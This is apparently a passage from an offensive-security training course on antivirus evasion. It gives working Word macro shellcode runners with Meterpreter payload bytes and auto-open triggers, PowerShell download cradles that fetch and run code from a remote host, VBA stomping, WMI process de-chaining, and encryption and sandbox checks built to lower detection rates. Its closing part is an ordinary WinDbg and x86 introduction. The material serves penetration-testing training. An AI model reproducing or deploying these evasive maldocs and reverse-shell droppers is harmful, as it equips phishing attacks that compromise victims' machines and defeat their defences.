Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Function mymacro()
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long
    Dim res As Long
    
    buf = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
...
49, 57, 50, 46, 49, 54, 56, 46, 49, 55, 54, 46, 49, 52, 50, 0, 187, 224, 29, 42, 10, 104, 166, 149, 189, 157, 255, 213, 60, 6, 124, 10, 128, 251, 224, 117, 5, 187, 71, 19, 114, 111, 106, 0, 83, 255, 213)

    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
    For counter = LBound(buf) To UBound(buf)
        data = buf(counter)
        res = RtlMoveMemory(addr + counter, data, 1)
    Next counter
    
    res = CreateThread(0, 0, addr, 0, 0, 0)

Sub Document_Open()
    mymacro
End Sub

Sub AutoOpen()
    mymacro
End Sub

End Function

Listing 35 - Full VBA script to execute Meterpreter staged payload in memory

When we save this code in a document and scan it with AntiScan.Me, we
find that it is detected by seven products:

Figure 14: Detection rate for VBA shellcode runner

Although this is a better result than the original C# shellcode runner
(which was detected by 11 products), let's try to improve our results
by encrypting the shellcode with a Caesar cipher. To do this, we'll
need to encrypt the shellcode in an output format suitable for VBA.

We'll reuse the previous C# project to encrypt the shellcode and then
copy the encrypted result into the VBA macro. For a VBA format, we'll
use decimal values instead of hexadecimal as noted at line number
12 of the listing below. We'll then split the encrypted shellcode on
multiple lines at line number 16 in order to handle the maximum size
issues of literal strings:

1   byte[] encoded = new byte[buf.Length];
2   for(int i = 0; i < buf.Length; i++)
3   {
4     encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
5   }
6 
7   uint counter = 0;
8 
9   StringBuilder hex = new StringBuilder(encoded.Length * 2);
10  foreach(byte b in encoded)
11  {
12    hex.AppendFormat("{0:D}, ", b);
13    counter++;
14    if(counter % 50 == 0)
15    {
16        hex.AppendFormat("_{0}", Environment.NewLine);
17    }
18  }
19  Console.WriteLine("The payload is: " + hex.ToString());

Listing 36 - Caesar cipher encryption
routine

The encryption code itself remains unchanged and at line 14,
we've inserted a newline for every 50 byte values with a modulo 50
statement.

When executing the VBA shellcode runner, we must also implement a
decryption routine. Luckily, this is even easier than in C#, as shown
in Listing 37:

For i = 0 To UBound(buf)
    buf(i) = buf(i) - 2
Next i

Listing 37 - Caesar decryption routine in VBA

After inserting the encrypted shellcode and the decryption routine,
our detection rate is 7 out of 26 products:

Figure 15: Detection rate for encrypted VBA shellcode runner

In this case, the encrypted shellcode did not provide a significant
reduction.

Let's try to improve our results by inserting a time-lapse.

We'll import the Sleep function to implement time-lapse detection
into our encrypted VBA shellcode runner:

Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long
...
Dim t1 As Date
Dim t2 As Date
Dim time As Long

t1 = Now()
Sleep (2000)
t2 = Now()
time = DateDiff("s", t1, t2)

If time < 2 Then
    Exit Function
End If
...

Listing 38 - Using Sleep function to detect
antivirus emulator

This is a direct port from C# to VBA using the Now function[301]
to obtain the current date and time, represented as a Date[302]
object, before and after the Sleep call.

To calculate the elapsed number of seconds, we use the DateDiff
function,[303] specifying the output as seconds through a String
expression in the first argument with a value of "s", followed by the
two recorded Date objects.

Testing the updated Microsoft Word document through AntiScan.Me yields
a surprisingly unchanged detection rate of 7 out of 26.

Given how effective the heuristics bypass technique was with C#, the
issue is likely related to signature detection. This makes sense given
the popularity of Microsoft Office documents among malware authors.
Given the common usage of this attack vector, antivirus vendors have
invested significant time and effort into detecting this.

To reduce the detection rate, we'll turn to a recent bypass technique
that is specific to Microsoft Office.

Exercises

  1. Implement the Caesar cipher encryption and time-lapse detection in
    a VBA macro.
  2. Attempt to reduce the detection rate further by using a different
    encryption algorithm and routine along with alternative heuristic
    bypasses.

Stomping On Microsoft Word

Security research was released in 2018 discussing how VBA code
is stored in Microsoft Word and Excel macros and it can be
abused.[304] In this section, we will investigate this topic and
leverage this technique to reduce our detection rates.

To begin, we must inspect our existing shellcode runner more closely,
and this requires some custom tools.

The Microsoft Office file formats used in documents with
.doc and .xls extensions rely on the very old and
partially-documented proprietary Compound File Binary Format,[305]
which can combine multiple files into a single disk file.

On the other hand, more modern Microsoft Office file extensions, like
.docm and .xlsm, describe an updated and more open
file format that is not dissimilar to a .zip file.

Word and Excel documents using the modern macro-enabled formats
can be unzipped with 7zip and the contents inspected in a hex
editor.

There are no official tools for unwrapping .doc files, so
we'll turn to the third party FlexHEX[306] application, which
is pre-installed on the Windows 10 development machine. Let's use this
tool to inspect our most recent revision of the VBA shellcode runner.

First, we'll open FlexHEX and navigate to File > Open > OLE
Compound File...
as shown in Figure 16.

Figure 16: Using FlexHEX to open a Microsoft Word file

In the new file browser window, we'll locate the Microsoft Word
document and open it. Notice the lower-left Navigation window. If we
expand the Macro and VBA folders, we obtain the view
shown in Figure 17.

Figure 17: Using FlexHEX to open a Microsoft Word file

This view shows all the embedded files and folders included in
the document. Any content related to VBA macros are located in the
Macros folder highlighted above.

For Microsoft Word or Excel documents using the newer macro
enabled formats, all macro-related information is stored in the
vbaProject.bin file inside the zipped archive.

The first file worth inspecting is PROJECT, which contains
project information. The graphical VBA editor also determines which
macros to show based on the contents of this file. If we click
this file in the Navigator window, the content is displayed in the
upper-left window.

As highlighted below in Figure 18, the
binary content contains the ASCII line "Module=NewMacros", which is
what the GUI editor uses to link the displayed macros.

Figure 18: VBA editor macro link - "Module=NewMacros""

If we could remove this link in the editor, it could hide our macro
from within the graphical Office VBA editor. To remove this link in
the graphical editor, we can simply remove the line by replacing it
with null bytes. This is done by highlighting the ASCII string and
navigating to Edit > Insert Zero Block, which opens a new window
(Figure 19). We can save the change by
clicking OK.

Figure 19: Removing the editor macro link

With the null bytes saved, we'll close FlexHEX to recompress the file.

Figure 20 shows the view from the Office
VBA editor before editing on the left and the result of the edit on
the right side.

Figure 20: Missing macro in VBA editor

This helps prevent manual detection, but AntiScan.Me reports that we
have not reduced the detection rate since the macro still exists and
will still be executed. However, if we could somehow remove the macro
yet still have it execute, we may enjoy a significant reduction in our
detection rate.

To understand how this unlikely scenario is possible, we must dig
deeper into the implementation of VBA code. The key concept here is
PerformanceCache,[307] which is a structure present in both
_VBA_PROJECT and NewMacros as repeated in Figure
21.

Figure 21: VBA_PROJECT and NewMacros

Inspecting the documentation reveals that this signifies a cached
and compiled version of the VBA textual code, known as P-code. The
P-code is a compiled version of the VBA textual code for the specific
version of Microsoft Office and VBA it was created on.

To explain it differently, if a Microsoft Word document is opened
on a different computer that uses the same version and edition of
Microsoft Word, the cached pre-compiled P-code is executed, avoiding
the translation of the textual VBA code by the VBA interpreter.

Using FlexHEX, we can view the P-code inside the NewMacros
file as shown in Figure 22.

Figure 22: P-code in Microsoft Word document

In the right-side pane, we notice the Win32 API names inside the
compiled P-code, while the rest of the code is in a pure binary
format.

If the document is opened on a different version or edition of
Microsoft Word, the P-code is ignored and the textual version of the
VBA is used instead. This is also located within NewMacros in
a variable called CompressedSourceCode.[308]

Scrolling towards the bottom of NewMacros, we find a
partially-compressed version of the VBA source code as shown in Figure
23.

Figure 23: VBA source code in Microsoft Word

Even partially compressed, we notice the Win32 API imports in the
highlighted part of Figure 23 following the
statement Attribute VB_Name = "New Macros". The remaining part of
the VBA code follows if we were to scroll even further down.

In regards to this cached P-Code, we need to understand how
Microsoft Word determines the version and edition a specific
document was created with. A clue lies at the beginning
of the _VBA_PROJECT file as displayed in Figure
24:

Figure 24: Microsoft Office and VBA version

From the two highlighted sections, we notice that the P-code in this
document will be compiled for Office 16. This indicates Microsoft
Office 2016, which uses VBE7.DLL and is installed in the
32-bit version folder (C:\Program Files(x86)). This matches
our current environment.

As long as our document is opened on a computer that uses the same
version of Microsoft Word installed in the default location, the VBA
source code is ignored and the P-code is executed instead. This means
that in some scenarios, the VBA source code can be removed, which
could certainly help us bypass detection.

As we will demonstrate, only a few antivirus products actually inspect
the P-code at all. This concept of removing the VBA source code has
been termed VBA Stomping.

Let's perform this evasion technique with our encrypted shellcode
runner by locating the VBA source code inside NewMacros
as previously shown. We need to mark the bytes that start with
the ASCII characters "Attribute VB_Name" as shown in Figure
25 and select all the remaining bytes.

Figure 25: Marking VBA source code

The end of the p-code will be the very last byte as shown in Figure
26.

Figure 26: Marking to the end of the VBA source code

With the VBA source code selected, we'll navigate to Edit >
Insert Zero Block and accept the size of modifications. The
start of the modified VBA source code is displayed in Figure
27.

Figure 27: Modified VBA source code

Once the VBA source code has been stomped, we'll save the Microsoft
Word document and close FlexHEX to allow it to be re-compressed.

If we open the Word document, we'll notice the "Enable Content"
security warning but if we open the VBA editor, we'll find
that the NewMacro container is completely empty (Figure
28).

Figure 28: Stomped Word document

Visually, the VBA macro seems to have been completely removed. When
we accept the security warning and let the VBA macro execute, we
notice two things. First, we obtain a reverse Meterpreter shell, which
demonstrates that even with the VBA source code removed, the P-code is
executed and the attack still works.

Second, the VBA source code has reappeared inside the VBA editor as
shown in Figure 29. Microsoft Word decompiled
the P-code and wrote it back into the editor while executing it.

Figure 29: P-code reappears in VBA editor

Since the Microsoft Word document still yields us code execution,
the most pressing question is, does this reduce antivirus
detection rates? AntiScan.Me reports an improved detection rate
of only four flags, down from seven in our last scan (Figure
30).

Figure 30: AntiScan.Me detection of stomped VBA document

This is a decent detection rate, especially considering that this is
one of the most commonly used document types used in phishing attacks
and we have embedded a very widely-used shellcode stager.

Abusing the Microsoft Office file format to obfuscate the shellcode
is a relatively new concept and parts of the file format are still
undocumented so it is quite possible that other evasion techniques
have so far gone undiscovered.

It is important that we target the correct version of Office when
we perform VBA stomping, otherwise the VBA code will fail to execute
entirely.

In this section, we have examined detection rates and possible
evasions while having the shellcode runner inside the VBA macro. Next,
we will further reduce our detection rates by once again staging with
PowerShell.

Exercises

  1. Use FlexHex to delve into the file format of Microsoft Word as
    explained in this section.
  2. Manually stomp out a Microsoft Word document and verify that it
    still works while improving evasion.
  3. Use the Evil Clippy[309] tool (located in
    C:\Tools\EvilClippy.exe) to automate the VBA Stomping
    process.

Hiding PowerShell Inside VBA

We have previously used the powerful combination of PowerShell and
Microsoft Office in a client-side attack. In this section, we will use
this powerful combination to further reduce our detection rates.

Detection of PowerShell Shellcode Runner

One of the advantages of using the PowerShell shellcode runner is the
fact that no first-stage shellcode is embedded in the document that is
sent to the victim.

We accomplished this with a PowerShell download cradle that fetched
and executed the full shellcode. A recap of that code is shown in
Listing 39.

Sub MyMacro()
  Dim strArg As String
  strArg = "powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))"
  Shell strArg, vbHide
End Sub

Listing 39 - Basic PowerShell shellcode runner

Since this code contains no shellcode, we would expect a very low
signature detection rate. However, this code is flagged by eight
products (Figure 31), which is surprisingly higher
than a Microsoft Word document containing an unencrypted Meterpreter
shellcode.

Figure 31: Detection rate of PowerShell shellcode runner

There are two main issues that cause the high detection rate: the use
of the Shell method and the clearly identifiable PowerShell download
cradle. Let's address Shell first.

When the PowerShell process is created directly from the VBA code
through Shell, it becomes a child process of Microsoft Word. This is
suspicious behavior and we can not easily obfuscate this VBA function
name. In the next sections, we will attempt to solve both of the
issues mentioned above.

Exercises

  1. Perform a scan of the PowerShell download cradle and shellcode
    runner.
  2. What is the detection rate when the PowerShell instead downloads a
    pre-compiled C# assembly shellcode runner and loads it dynamically?

Dechaining with WMI

To address these issues, we'll first address the issue of PowerShell
being a child process of the Office program by leveraging the Windows
Management Instrumentation
(WMI) framework.[310] WMI is an old
native part of the Windows operating system that is still poorly
documented and relatively unknown. We can use WMI to query, filter,
and resolve a host of information on a Windows operating system. We
can also use it to invoke a multitude of actions, and can even use it
to create a new process.

Our goal is to use WMI from VBA to create a PowerShell process
instead of having it as a child process of Microsoft Word. We'll
first connect to WMI from VBA, which is done through the GetObject
method,[311] specifying the winmgmts:[312] class name.
Winmgmt is the WMI service within the SVCHOST process running under
the LocalSystem account.

When performing an action, the Winmgmt WMI service is created in a
separate process as a child process of Wmiprvse.exe,[313]
which means we can de-chain the PowerShell process from Microsoft
Word.

WMI is divided into Providers[314] that contain
different functionalities, and each provider contains multiple
classes that can be instantiated. To create a PowerShell process,
we want to use the Win32_Process[315] class from the
Win32[316] provider.

The Win32_Process class represents a process on the operating
system, allowing us to perform process-specific actions such as
creating and terminating processes. To create a new process, we'll use
the Get method to select the Win32_Process class and invoke the
Create[317] method.

We can invoke the entire WMI process creation call as a one-liner from
VBA as shown in Listing 40.

Sub MyMacro
  strArg = "powershell"
  GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub

Sub AutoOpen()
    Mymacro
End Sub

Listing 40 - Creating a PowerShell process with WMI

The Create method accepts four arguments. The first is the name of
the process including its arguments, the second and third describe
process creation information that we do not need, and the fourth is a
variable that will contain the process ID of the new process returned
by the operating system.

When the macro is executed, a new PowerShell prompt opens and Process
Explorer reveals that PowerShell is indeed running as a child process
of WmiPrvSE.exe and not Microsoft Word (Figure 32).

Figure 32: PowerShell process as child process of WmiPrvSE.exe

This could certainly work for our purposes, however PowerShell is
running as a 64-bit process, which means we must update the PowerShell
shellcode runner script accordingly.

We can update the PowerShell argument for the Create method
to include the entire download cradle as shown in Listing
41.

Sub MyMacro
  strArg = "powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))"
  GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub

Sub AutoOpen()
    Mymacro
End Sub

Listing 41 - PowerShell shellcode runner
de-chained from Microsoft Word

When we run the embedded VBA, the Meterpreter reverse shell executes
as expected and it is completely de-chained from Microsoft Word. Let's
scan the updated document with AntiScan.Me:

Figure 33: Detection rates of de-chained PowerShell shellcode runner

Since seven products flag our code, it would seem that our efforts have
had little impact. This is not necessarily surprising since the VBA
macro still contains the same unobfuscated PowerShell download cradle
as before.

However, this was an important step since our new VBA macro does not
use the Shell function but rather the ambiguous GetObject, Get,
and Create methods, which are more benign to most AV products.

In the next section, we will reap the benefits of avoiding the Shell
method and perform obfuscation of our VBA macro to further reduce the
detection rate.

Exercises

  1. Implement the WMI process creation to de-chain the PowerShell
    process.
  2. Update the PowerShell shellcode runner to 64-bit.

Obfuscating VBA

So far, we have found that the detections on our VBA macro are mainly
from signatures since we have string content that is very easy to
match, and switching the process creation technique did not change the
detection rate.

In this section, we are going to perform some obfuscation[318] to
hide the content of any text strings from the antivirus scanner. The
current VBA macro has three of these: the PowerShell download cradle,
the WMI connection string, and the WMI class name.

We will make two attempts at obfuscating the strings. The first
will be a relatively simple technique, while the second will be more
complex.

VBA contains a function called StrReverse[319] that, given
an input string, returns a string in which the character order
is reversed. Our first obfuscation technique is going to rely on
reversing all strings to hopefully break the signature detections.

We could reverse our content strings in a number of ways, but in
this case we'll use the Code Beautify[320] online resource.
Listing 42 shows our updated code after reversing
the strings and inserting the StrReverse functions to restore them:

Sub Mymacro()
Dim strArg As String
strArg = StrReverse("))'txt.nur/021.911.861.291//:ptth'(gnirtsdaolnwod.)tneilcbew.ten.metsys tcejbo-wen((xei c- pon- ssapyb cexe- llehsrewop")

GetObject(StrReverse(":stmgmniw")).Get(StrReverse("ssecorP_23niW")).Create strArg, Null, Null, pid
End Sub

Listing 42 - Strings in reverse to evade detection

Our code runs properly but we may have replaced one red flag with
another. Since StrReverse is notoriously used in malware, we should
minimize its use.

To reduce the amount of times the function name appears, we'll create
a new function that simply calls StrReverse. This will reduce the
number of times StrReverse appears in our code. As shown in Listing
43, we have inserted this function and used benign
names for the function and argument names:

Function bears(cows)
    bears = StrReverse(cows)
End Function

Sub Mymacro()
Dim strArg As String
strArg = bears("))'txt.nur/021.911.861.291//:ptth'(gnirtsdaolnwod.)tneilcbew.ten.metsys tcejbo-wen((xei c- pon- ssapyb cexe- llehsrewop")

GetObject(bears(":stmgmniw")).Get(bears("ssecorP_23niW")).Create strArg, Null, Null, pid
End Sub

Listing 43 - Improving on the StrReverse
obfuscation

Saving the macro in a Microsoft Word document and uploading it to
AntiScan.Me reduces our detection rate from seven products to only
four:

Figure 34: VBA StrReverse obfuscation detection rate

The rather simple obfuscation technique yields a massive drop in
detection. However, we have introduced a new potential flag with
StrReverse and our code may still be flagged by advanced detection
engines that reverse or otherwise permutate strings in search of
signatures.

To reduce the detection rate even further, we can perform a more
complex obfuscation by converting the ASCII string to its decimal
representation and then performing a Caesar cipher encryption on the
result.[321]

To better understand the encryption and decryption technique in
detail, we'll start by creating an encryption script in PowerShell.
We'll create an input variable called $payload containing
the string to be encrypted along with the $output variable,
which will contain the encrypted string as displayed in Listing
44.

We'll convert the entire string into a character array through the
ToCharArray[322] method, and then run that output through a
Foreach[323] loop, with the "%" shorthand.

$payload = "powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))"

[string]$output = ""

$payload.ToCharArray() | %{
    [string]$thischar = [byte][char]$_ + 17
    if($thischar.Length -eq 1)
    {
        $thischar = [string]"00" + $thischar
        $output += $thischar
    }
    elseif($thischar.Length -eq 2)
    {
        $thischar = [string]"0" + $thischar
        $output += $thischar
    }
    elseif($thischar.Length -eq 3)
    {
        $output += $thischar
    }
}
$output | clip

Listing 44 - Encryption routine in PowerShell

Inside the loop, the byte value of each character is increased
by 17, which is the Caesar cipher key selected in this example.
We'll use if and else conditions to pad the character's decimal
representation to three digits.

Finally, each decimal value is appended to the output string and
piped onto the clipboard through clip.[324] Running the
PowerShell script produces the following output on the clipboard:

1291281361181311321211181251250490621181371181160491151381291141321320
4906212712812904906213604912112211711711812704906211604912211813705705
7127118136062128115123118116133049132138132133118126063127118133063136
1181151161251221181271330580631171281361271251281141171321331311221271
2005705612113313312907506406406607406706306607107306306606607406306606
7065064115128128124063133137133056058058

Listing 45 - Encrypted PowerShell download
cradle

We can now use a similar process for the other two content strings in
the VBA macro.

A simple VBA decrypting routine is shown in Listing 46
and consists of four functions. Notice that we are reducing the
potential signature count in this decryption routine by using benign
function names related to food.

The main Nuts function performs a while loop through the entire
encrypted string where the Oatmilk variable is used to accumulate
the decrypted string.

Function Pears(Beets)
    Pears = Chr(Beets - 17)
End Function

Function Strawberries(Grapes)
    Strawberries = Left(Grapes, 3)
End Function

Function Almonds(Jelly)
    Almonds = Right(Jelly, Len(Jelly) - 3)
End Function

Function Nuts(Milk)
    Do
    Oatmilk = Oatmilk + Pears(Strawberries(Milk))
    Milk = Almonds(Milk)
    Loop While Len(Milk) > 0
    Nuts = Oatmilk
End Function

Listing 46 - Decryption routine using food product
names

For each iteration of the loop, the entire encrypted string is sent
to Strawberries. The function uses Left[107-1] to fetch the first
three characters of the string and returns that value.

Next, the Pears function is called with the three-character string
as input. It treats the three character string as a number, subtracts
the Caesar cipher value of 17, and then converts it to a character
that is added to the accumulator in Oatmilk.

Once a character is returned, the Almonds function is called inside
the loop where the Right function[325] will exclude the first
three characters that we just decrypted.

With the decryption routine implemented, we can use it to decrypt and
execute the PowerShell download cradle:

Function MyMacro()
    Dim Apples As String
    Dim Water As String
    
    Apples = "129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066066074063066067065064115128128124063133137133056058058"
    Water = Nuts(Apples)
    GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")).Create Water, Tea, Coffee, Napkin
End Function

Listing 47 - Decrypting and executing the
PowerShell download cradle

Recall that previously, we invoked the Create method with the
second and third arguments set to "Null". In order to replicate this,
we instead use undefined variables in the VBA code above, which by
default contains the value "Null".

Once we execute the encrypted VBA macro, we obtain a Meterpreter
reverse shell, proving that the rather convoluted technique actually
works. We anxiously test the document against AntiScan.Me and discover
that only two products flag our code:

Figure 35: Encryption string detection rate

This custom encryption routine reduced our detection rate, but we can
push it even further. Although we have fully encrypted the VBA code,
we are likely running into heuristics detection.

There are a number of ways to bypass heuristics in VBA that do not
involve the use of Win32 APIs.[326] One simple technique is
to check the document name when the macro runs.

When most antivirus products emulate the execution of a document, they
rename it. During execution, we check the name of the document and if
we find that it is not the same as the one we originally provided, we
can assume the execution has been emulated and we can exit the code.

For example, let's assume we named the document runner.doc.
If we check the Name[327] property of the ActiveDocument and
find it to be anything but runner.doc, we'll exit to avoid
heuristics detection. To further the obfuscation, we'll even encrypt
this static document name (runner.doc in our case).

Putting all this together, our simple heuristic detection code is
shown below:

If ActiveDocument.Name <> Nuts("131134127127118131063117128116") Then
  Exit Function
End If

Listing 48 - Verifying the name of the document

Running the updated document, we find that it generates a Meterpreter
reverse shell as long as our file is named runner.doc.

As a result, AntiScan.Me reports that our code is only flagged by a
single antivirus product!

Figure 36: Encryption and document name check detection rate

Using custom encryption and heuristics detection techniques, we have
once again achieved a very low detection rate.

Exercises

  1. Replicate the detection evasion steps in this section to obtain
    a VBA macro with a PowerShell download cradle that has a very low
    detection rate.
  2. Use alternative encryption routines and antivirus emulator
    detections to trigger as few detections as possible.
  3. The Windows 10 victim machine has an instance of Serviio PRO
    1.8 DLNA Media Streaming Server installed. Exploit it[328]
    to obtain SYSTEM privileges while evading the Avira antivirus with
    real-time detection enabled.

Extra Mile

Modify, encrypt, and obfuscate the process hollowing techniques
previously implemented in C# to bypass antivirus detection.

Wrapping Up

In this module, we have demonstrated quite a few popular antivirus
signature and heuristics detection bypass techniques that are
effective against most popular antivirus products.

The techniques we have employed are not only usable for the initial
shellcode runner payload, but also for any exploit or tool that must
be written to the target's filesystem.

In the next module, we will discuss bypasses for advanced runtime
analysis techniques.

Advanced Antivirus Evasion

In the previous module, we demonstrated basic antivirus bypasses. We
obfuscated sections of code that contained potential signatures and
wrote simple logic tests that could detect emulation engines.

Detection routines built into locally-installed antivirus clients
have access to limited processing power and are hampered by time
constraints, since users will not tolerate lengthy scans that
overly-consume a local machine's resources.

To combat this, some antivirus vendors rely on cloud-based resources
and try to use artificial intelligence (AI) to detect malicious
behavior.

The topic of evading cloud AI and the very sophisticated Endpoint
Detection and Response
(EDR)[329] security suites are beyond the
scope of this module, but we can build on our work from the previous
module.

For example, in the previous module, we did not use any evasion
actions in our PowerShell code and yet it was not detected. This
is because we purposely downloaded and executed the code directly
in memory without giving the antivirus a chance to scan it.
Microsoft addressed this gap with the Antimalware Scan Interface
(AMSI),[330] introduced in Windows 10. AMSI is essentially a set
of APIs that allow antivirus products to scan PowerShell commands
and scripts when they are executed, even if they are never written to
disk.

In recent years, many antivirus products (including Microsoft's own
Windows Defender Antivirus[331]) have begun to rely on AMSI to
detect more advanced malicious activity.

In this module, we'll explore the impact of Windows Defender's
implementation of AMSI on PowerShell and Jscript. However, in order to
do this, we must inspect the code at the assembly level. To that end,
we'll begin with an overview of assembly and then discuss the process
of viewing code execution through the Windows Debugger.[332]

Intel Architecture and Windows 10

We'll begin this module with a brief overview of the Intel
architecture and discuss some essential assembly operations in both
the 32-bit (x86) and 64-bit (x86_64) versions of Windows 10.
Although the differences between these versions may be subtle to the
casual user, they are significant at the assembly level.

The two primary assembly syntaxes, Intel and AT&T, are
predominantly used by Windows and Linux, respectively.

The 64-bit architecture is an extension of the 32-bit architecture and
as such, there are many similarities. At the assembly level, both make
heavy use of data areas like the stack[333] or the heap[334] and
both use CPU registers.

The stack typically stores the content of (higher-language) variables
that are of static size and limited scope, whereas the heap is used
for dynamic memory allocation and long-runtime persistent memory.

32-bit versions of Windows allocate 2GB of memory space to
applications, ranging from the memory addresses 0 to 0x7FFFFFFF.
64-bit versions of Windows, on the other hand, support 128TB
(terabytes) of memory, ranging from 0 to 0x7FFFFFFFFFFF.

Although we won't delve into memory management in this module, it's
important to understand that unlike higher level languages like C#,
there are no variables in assembler. Instead, all data is stored
either in memory or in a CPU register.

In a 32-bit environment, the CPU maintains and uses a series of nine
32-bit registers as shown in Figure 1. Most
of these registers can be subdivided into smaller segments.

Figure 1: 32-bit CPU registers

In 64-bit environments, the 32-bit registers are extended and
include new registers (named R8 through R15) as shown in Figure
2.

Figure 2: 64-bit CPU registers

The most important registers for us to understand in our current
context are the 32-bit EIP and ESP registers and their 64-bit
extended counterparts RIP and RSP. EIP/RIP contains the address
of the assembly instruction to be executed by the CPU and the memory
address of the top of the stack is in ESP/RSP.

In order to understand assembly execution flow, we should discuss two
types of instructions: function calls and conditional branches.

Let's first discuss function calls and how they are called, what
happens when they finish executing, and how parameters are passed
into them. The call[335] assembly instruction transfers
program execution to the address of the function and places the
address to execute once the function is complete on the top of the
stack where ESP (or RSP) is pointing. Once the function is complete,
the ret[336] instruction is executed, which fetches the return
address from the stack and restores it to EIP/RIP.

When a function requires arguments, a calling convention
specifies how, exactly, arguments are passed to that function.
On a 32-bit architecture, the __stdcall[337] calling
convention reads all arguments from the stack. However, the 64-bit
__fastcall[338] calling convention expects the first four
arguments in RCX, RDX, R8, and R9 (in that order) and the
remaining arguments on the stack.

Conditional branching is the second aspect of assembly execution flow
that we should discuss. In assembly, conditional branching (similar
to the if and else statements in higher-level languages) is
implemented through a comparison and a jump instruction. Specifically,
we might use a cmp[339] or test[340] instruction, and
based on the result of this comparison, we could execute a conditional
jump instruction[341] to another section of code.

This extremely brief introduction sets the stage for a discussion of
code analysis and debugging.

WinDbg Introduction

We can use the Windows Debugger, also known as WinDbg, to inspect or
modify code execution at the assembly level on both 32-bit and 64-bit
versions of Windows. While there are other debuggers, such as the
popular Immunity Debugger,[342] most lack 64-bit support.

We'll begin by discussing how to attach to a running process. Let's
open Notepad through the start menu and run WinDbg from the taskbar.

In WinDbg, we can attach to the Notepad process through the File
menu (Figure 3) or by pressing the ^
key.

Figure 3: Open attach window

In the next window, we'll locate notepad.exe, select it and click OK
to attach as shown in Figure 4.

Figure 4: Attach to notepad.exe

Once WinDbg attaches to the process, it pauses the application
execution flow so that we can interact with the process through the
debugger.

Although we can customize the WinDbg window layout, we'll use a fairly
basic setup consisting of only two windows: the Disassembly window
in the upper pane and the Command window in the lower pane as shown
in Figure 5.

Figure 5: WinDbg interface windows

With WinDbg running and attached to a process, our goal is to inspect
the execution context at a specific location, step through individual
instructions, and dump contents of registers and memory.

We'll use breakpoints to stop program execution at a specific
location. WinDbg supports several different breakpoint types[343]
but we'll use a software breakpoint set at a specific address or code
location.

We can set a breakpoint with the bp command followed by
a memory address or the name of a function.

For example, let's set a breakpoint on the WriteFile[344]
function, which is exported by the kernel32 dynamic link library. This
function is called whenever a write operation to a file is performed
by an application. After defining the breakpoint we'll continue
execution with the g command.

0:005> bp kernel32!writefile

0:005> g

Listing 1 - Setting a breakpoint in WinDbg

To trigger our breakpoint, we'll enter some text into Notepad and save
the file:

Breakpoint 0 hit
KERNEL32!WriteFile:
00007fff`d33b21a0 ff259a690500    jmp     qword ptr [KERNEL32!_imp_WriteFile (00007fff`d3408b40)] ds:00007fff`d3408b40={KERNELBASE!WriteFile (00007fff`cff400b0)}

Listing 2 - Hitting our breakpoint

When any thread reaches the function, the debugger will stop the
execution flow, and we can view and modify registers and memory.

With the execution halted, let's step through a single assembly
instruction at a time with the p command:

0:000> p
KERNELBASE!WriteFile:
00007fff`cff400b0 48895c2410      mov     qword ptr [rsp+10h],rbx ss:00000063`4c93e8d8=0000000000000400

0:000> p
KERNELBASE!WriteFile+0x5:
00007fff`cff400b5 4889742418      mov     qword ptr [rsp+18h],rsi ss:00000063`4c93e8e0=000002303546a9b0

0:000> p
KERNELBASE!WriteFile+0xa:
00007fff`cff400ba 4c894c2420      mov     qword ptr [rsp+20h],r9 ss:00000063`4c93e8e8=00000000000004e4

0:000> p
KERNELBASE!WriteFile+0xf:
00007fff`cff400bf 57              push    rdi

Listing 3 - Single stepping through
instructions

If we want to view the next instructions, we can unassemble
(u) a specific address location, typically RIP. We can use
the L flag to specify the number of instructions to display.
In the example below, we unassemble the next five instructions:

0:000> u rip L5
KERNELBASE!WriteFile+0xf:
00007fff`cff400bf 57              push    rdi
00007fff`cff400c0 4883ec60        sub     rsp,60h
00007fff`cff400c4 498bd9          mov     rbx,r9
00007fff`cff400c7 4c8bda          mov     r11,rdx
00007fff`cff400ca 488bf9          mov     rdi,rcx

Listing 4 - Unassemble assembly instructions

We can view all registers with the r command:

0:000> r
rax=0000000000000004 rbx=000002303a156590 rcx=0000000000000438
rdx=000002303a156590 rsi=0000000000000004 rdi=0000000000000004
rip=00007fffcff400bf rsp=000000634c93e8c8 rbp=00000000000004e4
 r8=0000000000000004  r9=000000634c93e940 r10=0000000000000000
r11=0000023035413cd0 r12=0000000000000400 r13=0000000000000438
r14=000000634c93e960 r15=000002303546a9b0
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
KERNELBASE!WriteFile+0xf:
00007fff`cff400bf 57              push    rdi

Listing 5 - Displaying all registers

We can also inspect individual registers by specifying the name of the
register:

0:000> r rax
rax=0000000000000004

Listing 6 - Displaying a single register

For a more detailed view, if a register contains a valid address,
we can inspect the content of that memory area with the dd,
dc, and dq commands, which will dump memory content
